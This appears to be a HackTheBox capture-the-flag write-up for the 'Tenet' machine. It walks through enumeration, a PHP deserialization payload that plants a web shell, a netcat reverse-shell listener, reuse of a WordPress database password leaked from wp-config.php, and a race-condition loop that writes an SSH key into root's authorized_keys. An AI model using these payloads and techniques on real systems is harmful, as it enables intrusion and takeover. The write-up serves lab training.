HackTheBox - Tenet (medium)
- Tenet is a Medium difficulty machine that features an Apache web server. It contains a Wordpress blog with a few posts. One of the comments on the blog mentions the presence of a PHP file along with it’s backup. It is possible after identificaiton of the backup file to review it’s source code. The code in PHP file is vulnerable to an insecure deserialisation vulnerability and by successful exploiting it a foothold on the system is achieved. While enumerating the system it was found that the Wordpress configuration file can be read and thus gaining access to a set of credentials. By using them we can move laterally from user
www-data
to userNeil
. Further system enumeration reveals that this user have root permissions to run a bash script throughsudo
. The script is writing SSH public keys to theauthorized_keys
file of theroot
user and is vulnerable to a race condition. After successful exploitation, attackers can write their own SSH keys to theauthorized_keys
file and use them to login to the system asroot
.
PortScan
❯ cat ../nmap/targeted
# Nmap 7.94SVN scan initiated Wed Jul 3 16:55:09 2024 as: nmap -sCV -p22,80 -oN targeted 10.10.10.223
Nmap scan report for 10.10.10.223
Host is up (0.12s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 cc:ca:43:d4:4c:e7:4e:bf:26:f4:27:ea:b8:75:a8:f8 (RSA)
| 256 85:f3:ac:ba:1a:6a:03:59:e2:7e:86:47:e7:3e:3c:00 (ECDSA)
|_ 256 e7:e9:9a:dd:c3:4a:2f:7a:e1:e0:5d:a2:b0:ca:44:a8 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
- We see that a Wordpress is being used as a content management system.
❯ cat ../nmap/webScan
# Nmap 7.94SVN scan initiated Wed Jul 3 16:57:31 2024 as: nmap --script=http-enum -p80 -oN webScan 10.10.10.223
Nmap scan report for 10.10.10.223
Host is up (0.11s latency).
PORT STATE SERVICE
80/tcp open http
| http-enum:
|_ /wordpress/wp-login.php: Wordpress login page.
Enumeration
- We see the technologies that are being used in the web service.
❯ whatweb http://10.10.10.223
http://10.10.10.223 [200 OK] Apache[2.4.29], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.10.10.223], Title[Apache2 Ubuntu Default Page: It works]
- If we go to see the web page as such we find this.
- But if we go to the route reported by
Nmap
we can see the Wordpress.
- We can see the subdomain
tenet.htb
.
- So what we are going to do is to add it to
/etc/hosts
so that the resources are displayed correctly.
❯ echo "10.10.10.223 tenet.htb" | sudo tee -a /etc/hosts
10.10.10.223 tenet.htb
- Now it works.
- We are going Fuzzing to see if we can find any interesting routes.
❯ gobuster dir -u http://tenet.htb/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 --no-error -x php -s 200
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://tenet.htb/
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: php
[+] Timeout: 10s
===============================================================
2023/07/25 19:56:01 Starting gobuster in directory enumeration mode
===============================================================
/index.php (Status: 301) [Size: 0] [--> http://tenet.htb/]
/wp-content (Status: 301) [Size: 311] [--> http://tenet.htb/wp-content/]
/wp-login.php (Status: 200) [Size: 6534]
/wp-includes (Status: 301) [Size: 312] [--> http://tenet.htb/wp-includes/]
/wp-trackback.php (Status: 200) [Size: 135]
/wp-admin (Status: 301) [Size: 309] [--> http://tenet.htb/wp-admin/]
/xmlrpc.php (Status: 405) [Size: 42]
/wp-signup.php (Status: 302) [Size: 0] [--> http://tenet.htb/wp-login.php?action=register]
/server-status (Status: 403) [Size: 274]
===============================================================
2024/07/03 18:07:30 Finished
===============================================================
-
They are the typical wordpress routes but here we find something interesting.
-
Version 5.6.
- We see the file.
- We don’t see anything interesting so far let’s fuzzing but now to search for subdomains.
❯ gobuster vhost -u http://tenet.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -t 50 --no-error
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://tenet.htb
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2024/07/03 18:30:50 Starting gobuster in VHOST enumeration mode
===============================================================
Found: www.tenet.htb (Status: 301) [Size: 0]
- We add it to
/etc/hosts
.
❯ cat /etc/hosts | tail -n 1
10.10.10.223 tenet.htb www.tenet.htb
- But it redirects us to the domain that we already have.
- If we analyze a post of those on the web there is one which is called Migration and if we analyze it we see that there is a comment from the user neil.
- There is a path called
sator.php
.
❯ curl -s http://tenet.htb/sator.php
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.29 (Ubuntu) Server at tenet.htb Port 80</address>
</body></html>
- If we try setting the
IP
we can see that the situation changes.
❯ curl -s http://10.10.10.223/sator.php
[+] Grabbing users from text file <br>
[] Database updated <br>
- Something that was mentioned in the comments was about a
backup
so if we add to the path we have.bak
we see that it exists as such.
❯ curl -s http://10.10.10.223/sator.php.bak
<?php
class DatabaseExport
{
public $user_file = 'users.txt';
public $data = '';
public function update_db()
{
echo '[+] Grabbing users from text file <br>';
$this-> data = 'Success';
}
public function __destruct()
{
file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
echo '[] Database updated <br>';
// echo 'Gotta get this working properly...';
}
}
$input = $_GET['arepo'] ?? '';
$databaseupdate = unserialize($input);
$app = new DatabaseExport;
$app -> update_db();
?>
Shell as www-data
PHP Deserialization Attack
-
Well as such they are letting us control our
input
which is processed by GET and as such is not applying sanitization and as such is employing thearepo
parameter we are going to create a serealized data. -
We are going to create a script in php to give us the
serialized
data since by means of thecmd
parameter we are going to execute commands.
❯ catn serialize.php
<?php
class DatabaseExport
{
public $user_file = 'xd.php';
public $data = '<?php system($_REQUEST["cmd"]); ?>';
}
$pwned = new DatabaseExport;
echo serialize($pwned);
?>
- If we execute it we get the object
serealized
.
❯ php serialize.php 2>/dev/null; echo
O:14:"DatabaseExport":2:{s:9:"user_file";s:6:"xd.php";s:4:"data";s:34:"<?php system($_REQUEST["cmd"]); ?>";}
- We are going to send it all the data through the
arepo
parameter which is not sanitized and will interpret what we pass it since it is going to be derealized.
❯ curl -s -X GET -G "http://10.10.10.223/sator.php" --data-urlencode 'arepo=O:14:"DatabaseExport":2:{s:9:"user_file";s:6:"xd.php";s:4:"data";s:34:"<?php system($_REQUEST["cmd"]); ?>";}'; echo
[+] Grabbing users from text file <br>
[] Database updated <br>[] Database updated <br>
- We see that the
xd.php
file that we defined in thescript
was created correctly.
- And now we can execute commands.
- Now we gain access to the system by sending us a
reverse shell
..
- Now we receive the shell.
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.63] from (UNKNOWN) [10.10.10.223] 49860
bash: cannot set terminal process group (1678): Inappropriate ioctl for device
bash: no job control in this shell
www-data@tenet:/var/www/html$ whoami
whoami
www-data
www-data@tenet:/var/www/html$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@tenet:/var/www/html$ ^Z
[1] + 37998 suspended nc -nlvp 443
❯ stty raw -echo; fg
[1] + 37998 continued nc -nlvp 443
reset xterm
ENTER
www-data@tenet:/var/www/html$ export TERM=xterm
neil shell
- We found credentials..
www-data@tenet:/var/www/html/wordpress$ ls -la
total 228
drwxr-xr-x 5 www-data www-data 4096 Jul 3 22:57 .
drwxr-xr-x 3 www-data www-data 4096 Jul 4 00:32 ..
-rw-r--r-- 1 www-data www-data 405 Feb 6 2020 index.php
-rw-r--r-- 1 www-data www-data 19915 Feb 12 2020 license.txt
-rw-r--r-- 1 www-data www-data 7278 Jun 26 2020 readme.html
-rw-r--r-- 1 www-data www-data 7101 Jul 28 2020 wp-activate.php
drwxr-xr-x 9 www-data www-data 4096 Dec 8 2020 wp-admin
-rw-r--r-- 1 www-data www-data 351 Feb 6 2020 wp-blog-header.php
-rw-r--r-- 1 www-data www-data 2328 Oct 8 2020 wp-comments-post.php
-rw-r--r-- 1 www-data www-data 2913 Feb 6 2020 wp-config-sample.php
-rw-r--r-- 1 www-data www-data 3185 Jan 7 2021 wp-config.php
drwxr-xr-x 5 www-data www-data 4096 Jul 3 22:57 wp-content
-rw-r--r-- 1 www-data www-data 3939 Jul 30 2020 wp-cron.php
drwxr-xr-x 25 www-data www-data 12288 Dec 8 2020 wp-includes
-rw-r--r-- 1 www-data www-data 2496 Feb 6 2020 wp-links-opml.php
-rw-r--r-- 1 www-data www-data 3300 Feb 6 2020 wp-load.php
-rw-r--r-- 1 www-data www-data 49831 Nov 9 2020 wp-login.php
-rw-r--r-- 1 www-data www-data 8509 Apr 14 2020 wp-mail.php
-rw-r--r-- 1 www-data www-data 20975 Nov 12 2020 wp-settings.php
-rw-r--r-- 1 www-data www-data 31337 Sep 30 2020 wp-signup.php
-rw-r--r-- 1 www-data www-data 4747 Oct 8 2020 wp-trackback.php
-rw-r--r-- 1 www-data www-data 3236 Jun 8 2020 xmlrpc.php
www-data@tenet:/var/www/html/wordpress$ cat wp-config.php
<?php
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the
* installation. You don't have to use the web site, you can
* copy this file to "wp-config.php" and fill in the values.
*
* This file contains the following configurations:
*
* * MySQL settings
* * Secret keys
* * Database table prefix
* * ABSPATH
*
* @link https://wordpress.org/support/article/editing-wp-config-php/
*
* @package WordPress
*/
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );
/** MySQL database username */
define( 'DB_USER', 'neil' );
/** MySQL database password */
define( 'DB_PASSWORD', 'Opera2112' );
/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );
/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
define( 'WP_HOME', 'http://tenet.htb');
define( 'WP_SITEURL', 'http://tenet.htb');
/**#@+
* Authentication Unique Keys and Salts.
*
* Change these to different unique phrases!
* You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}
* You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again.
*
* @since 2.6.0
*/
define( 'AUTH_KEY', 'QiuK;~(mBy7H3y8G;*|^*vGekSuuxKV$:Tc>5qKr`T}(t?+`r.+`gg,Ul,=!xy6d' );
define( 'SECURE_AUTH_KEY', 'x3q&hwYy]:S{l;jDU0D&./@]GbBz(P~}]y=3deqO1ZB/`P:GU<tJ[v)4><}wl_~N' );
define( 'LOGGED_IN_KEY', 'JrJ_u34gQ3(x7y_Db8`9%@jq<;{aqQk(Z+uZ|}M,l?6.~Fo/~Tr{0bJIW?@.*|Nu' );
define( 'NONCE_KEY', '=z0ODLKO{9K;<,<gT[f!y_*1QgIc;#FoN}pvHNP`|hi/;cwK=vCwcC~nz&0:ajW#' );
define( 'AUTH_SALT', '*.;XACYRMNvA?.r)f~}+A,eMke?/i^O6j$vhZA<E5Vp#N[a{YL TY^-Q[X++u@Ab' );
define( 'SECURE_AUTH_SALT', 'NtFPN?_NXFqW-Bm6Jv,v-KkjS^8Hz@BIcxc] F}(=v1$B@F/j(`b`7{A$T{DG|;h' );
define( 'LOGGED_IN_SALT', 'd14m0mBP eIawFxLs@+CrJz#d(88cx4||<6~_U3F=aCCiyN|]Hr{(mC5< R57zmn' );
define( 'NONCE_SALT', 'Srtt&}(~:K(R(q(FMK<}}%Zes!4%!S`V!KSk)Rlq{>Y?f&b`&NW[INM2,a9Zm,SH' );
/**#@-*/
/**
* WordPress Database Table prefix.
*
* You can have multiple installations in one database if you give each
* a unique prefix. Only numbers, letters, and underscores please!
*/
$table_prefix = 'wp_';
/**
* For developers: WordPress debugging mode.
*
* Change this to true to enable the display of notices during development.
* It is strongly recommended that plugin and theme developers use WP_DEBUG
* in their development environments.
*
* For information on other constants that can be used for debugging,
* visit the documentation.
*
* @link https://wordpress.org/support/article/debugging-in-wordpress/
*/
define( 'WP_DEBUG', false );
/* That's all, stop editing! Happy publishing. */
/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
define( 'ABSPATH', __DIR__ . '/' );
}
/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';
- The credentials are for the database but as such if we try to migrate to the
neil
user we see thatOpera2112
works.
www-data@tenet:/var/www/html/wordpress$ su neil
Password:
neil@tenet:/var/www/html/wordpress$ whoami
neil
neil@tenet:/var/www/html/wordpress$ id
uid=1001(neil) gid=1001(neil) groups=1001(neil)
neil@tenet:/var/www/html/wordpress$
User.txt
- Here we can see the first flag.
neil@tenet:~$ cat user.txt
0b85a9967e410892bb32b0628e11989f
neil@tenet:~$
Privilege Escalation
- We have this privilege at the
sudoers
level.
neil@tenet:~$ sudo -l
Matching Defaults entries for neil on tenet:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:
User neil may run the following commands on tenet:
(ALL : ALL) NOPASSWD: /usr/local/bin/enableSSH.sh
neil@tenet:~$
- If we run it we see this.
neil@tenet:~$ sudo /usr/local/bin/enableSSH.sh
Successfully added root@ubuntu to authorized_keys file!
neil@tenet:~$
- We see this.
neil@tenet:~$ cat /usr/local/bin/enableSSH.sh
#!/bin/bash
checkAdded() {
sshName=$(/bin/echo $key | /usr/bin/cut -d " " -f 3)
if [[ ! -z $(/bin/grep $sshName /root/.ssh/authorized_keys) ]]; then
/bin/echo "Successfully added $sshName to authorized_keys file!"
else
/bin/echo "Error in adding $sshName to authorized_keys file!"
fi
}
checkFile() {
if [[ ! -s $1 ]] || [[ ! -f $1 ]]; then
/bin/echo "Error in creating key file!"
if [[ -f $1 ]]; then /bin/rm $1; fi
exit 1
fi
}
addKey() {
tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX)
(umask 110; touch $tmpName)
/bin/echo $key >>$tmpName
checkFile $tmpName
/bin/cat $tmpName >>/root/.ssh/authorized_keys
/bin/rm $tmpName
}
key="ssh-rsa AAAAA3NzaG1yc2GAAAAGAQAAAAAAAQG+AMU8OGdqbaPP/Ls7bXOa9jNlNzNOgXiQh6ih2WOhVgGjqr2449ZtsGvSruYibxN+MQLG59VkuLNU4NNiadGry0wT7zpALGg2Gl3A0bQnN13YkL3AA8TlU/ypAuocPVZWOVmNjGlftZG9AP656hL+c9RfqvNLVcvvQvhNNbAvzaGR2XOVOVfxt+AmVLGTlSqgRXi6/NyqdzG5Nkn9L/GZGa9hcwM8+4nT43N6N31lNhx4NeGabNx33b25lqermjA+RGWMvGN8siaGskvgaSbuzaMGV9N8umLp6lNo5fqSpiGN8MQSNsXa3xXG+kplLn2W+pbzbgwTNN/w0p+Urjbl root@ubuntu"
addKey
checkAdded
neil@tenet:~$
- If we look at the script and execute this which stores
tmpName
it creates a temporary value.
neil@tenet:~$ mktemp -u /tmp/ssh-XXXXXXXX
/tmp/ssh-ui1c8x0m
neil@tenet:~$ mktemp -u /tmp/ssh-XXXXXXXX
/tmp/ssh-KH7vkHSO
- The first thing we are going to do is to create a key pair.
❯ ssh-keygen -f /root/id_rsa -N ""
Generating public/private ed25519 key pair.
Your identification has been saved in /root/id_rsa
Your public key has been saved in /root/id_rsa.pub
The key fingerprint is:
SHA256:LL4/EFhSOqu9HhJp6tvZ64JW0lJtanWVb1PbNdMymQk root@miguelos
The key's randomart image is:
+--[ED25519 256]--+
| .. . E. +.|
| ... o .*oo|
| ++ . . . oo+|
| o.*.o + . . |
| * = o.S . . |
| = O ... |
|. O o .. |
|.o.ooo .. |
|.o.+=+o... |
+----[SHA256]-----+
- Now we copy it.
❯ cat id_rsa.pub | tr -d '\n' | xclip -sel clip
- And we run a loop with our public key.
neil@tenet:~$ while true; do for filename in /tmp/ssh-*; do echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEiM/fMXvCoQX988QWZre1S9ZG5Kguv/ root@miguelos" > $filename;done; done
- Now from another window we connect via SSH.
❯ ssh neil@10.10.10.223
The authenticity of host '10.10.10.223 (10.10.10.223)' can't be established.
ED25519 key fingerprint is SHA256:atDC5N+fRDvKKwKE6Y6GZN4MdRAr5aHD24UsVrZ4+ts.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.223' (ED25519) to the list of known hosts.
neil@10.10.10.223's password:
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-129-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Thu Jul 4 01:04:47 UTC 2024
System load: 0.95 Processes: 178
Usage of /: 15.3% of 22.51GB Users logged in: 0
Memory usage: 11% IP address for ens160: 10.10.10.223
Swap usage: 0%
53 packages can be updated.
31 of these updates are security updates.
To see these additional updates run: apt list --upgradable
Last login: Thu Dec 17 10:59:51 2020 from 10.10.14.3
neil@tenet:~$ export TERM=xterm
neil@tenet:~$
- And we execute.
neil@tenet:~$ sudo /usr/local/bin/enableSSH.sh
Shell as root and root.txt
- After several attempts we succeeded login with ssh because it is a
race condition
.
root@tenet:~# cat /root/root.txt
74e3750ae90e0db4c09df869028cabca